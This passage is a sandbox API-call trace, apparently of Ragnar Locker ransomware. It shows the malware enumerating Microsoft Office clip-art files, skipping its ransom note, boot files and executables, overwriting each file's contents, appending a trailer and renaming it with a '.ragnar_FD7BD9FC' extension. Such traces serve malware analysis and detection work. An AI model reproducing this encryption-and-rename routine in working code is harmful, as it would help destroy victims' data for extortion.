ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238959.WMF", cAlternateFileName="")) returned 1 [0086.444] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.444] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0238959.WMF" | out: lpString1="J0238959.WMF") returned="J0238959.WMF" [0086.444] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF") returned=".WMF" [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="autorun.inf") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="boot.ini") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="bootfont.bin") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="bootsect.bak") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="bootmgr") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="bootmgr.efi") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="bootmgfw.efi") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="desktop.ini") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="iconcache.db") returned 1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="ntldr") returned -1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="ntuser.dat") returned -1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="ntuser.dat.log") returned -1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="ntuser.ini") returned -1 [0086.444] lstrcmpiW (lpString1="J0238959.WMF", lpString2="thumbs.db") returned -1 [0086.444] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.444] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.444] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.444] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.444] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.444] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.444] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.444] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf")) returned 0x20 [0086.444] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.445] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7484) returned 1 [0086.445] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d33, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.445] GetProcessHeap () returned 0x580000 [0086.445] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.445] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.469] VirtualAlloc (lpAddress=0x0, dwSize=0x1d3c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.469] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.469] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1d3c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1d3c, lpOverlapped=0x0) returned 1 [0086.482] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.482] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d3c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.482] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1d3c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1d3c, lpOverlapped=0x0) returned 1 [0086.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d3c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.483] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.483] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1d3c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.483] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.483] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.483] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.483] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.483] GetProcessHeap () returned 0x580000 [0086.483] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.483] CloseHandle (hObject=0xf4) returned 1 [0086.483] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" [0086.484] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.ragnar_FD7BD9FC" [0086.484] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238959.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238959.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.485] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0238983.WMF", cAlternateFileName="")) returned 1 [0086.485] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.485] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0238983.WMF" | out: lpString1="J0238983.WMF") returned="J0238983.WMF" [0086.485] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF") returned=".WMF" [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="autorun.inf") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="boot.ini") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="bootfont.bin") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="bootsect.bak") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="bootmgr") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="bootmgr.efi") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="bootmgfw.efi") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="desktop.ini") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="iconcache.db") returned 1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="ntldr") returned -1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="ntuser.dat") returned -1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="ntuser.dat.log") returned -1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="ntuser.ini") returned -1 [0086.485] lstrcmpiW (lpString1="J0238983.WMF", lpString2="thumbs.db") returned -1 [0086.485] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.485] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.485] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.485] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.485] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.485] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.485] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf")) returned 0x20 [0086.486] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.486] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5048) returned 1 [0086.486] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13af, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.486] GetProcessHeap () returned 0x580000 [0086.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.486] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.521] VirtualAlloc (lpAddress=0x0, dwSize=0x13b8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.521] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.521] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13b8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13b8, lpOverlapped=0x0) returned 1 [0086.557] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.557] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13b8, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.557] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13b8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13b8, lpOverlapped=0x0) returned 1 [0086.558] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13b8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.558] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.558] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.558] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.558] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.558] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.558] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.558] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.558] GetProcessHeap () returned 0x580000 [0086.558] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.558] CloseHandle (hObject=0xf4) returned 1 [0086.558] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" [0086.559] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.ragnar_FD7BD9FC" [0086.559] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0238983.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0238983.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.560] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239057.WMF", cAlternateFileName="")) returned 1 [0086.560] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.560] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239057.WMF" | out: lpString1="J0239057.WMF") returned="J0239057.WMF" [0086.560] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF") returned=".WMF" [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="autorun.inf") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="boot.ini") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="bootfont.bin") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="bootsect.bak") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="bootmgr") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="bootmgr.efi") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="bootmgfw.efi") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="desktop.ini") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="iconcache.db") returned 1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="ntldr") returned -1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="ntuser.dat") returned -1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="ntuser.dat.log") returned -1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="ntuser.ini") returned -1 [0086.560] lstrcmpiW (lpString1="J0239057.WMF", lpString2="thumbs.db") returned -1 [0086.560] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.560] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.560] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.560] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.560] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.560] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.560] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.560] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf")) returned 0x20 [0086.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.561] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4740) returned 1 [0086.561] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x127b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.561] GetProcessHeap () returned 0x580000 [0086.561] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.561] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.574] VirtualAlloc (lpAddress=0x0, dwSize=0x1284, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.575] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.575] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1284, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1284, lpOverlapped=0x0) returned 1 [0086.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.599] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1284, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.599] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1284, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1284, lpOverlapped=0x0) returned 1 [0086.599] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1284, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.599] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.599] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1284, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.600] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.600] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.600] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.600] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.600] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.600] GetProcessHeap () returned 0x580000 [0086.600] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.600] CloseHandle (hObject=0xf4) returned 1 [0086.600] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" [0086.600] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.ragnar_FD7BD9FC" [0086.600] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239057.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239057.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.601] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239063.WMF", cAlternateFileName="")) returned 1 [0086.601] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.601] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239063.WMF" | out: lpString1="J0239063.WMF") returned="J0239063.WMF" [0086.601] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239063.WMF") returned=".WMF" [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.601] lstrcmpiW (lpString1="J0239063.WMF", lpString2="autorun.inf") returned 1 [0086.601] lstrcmpiW 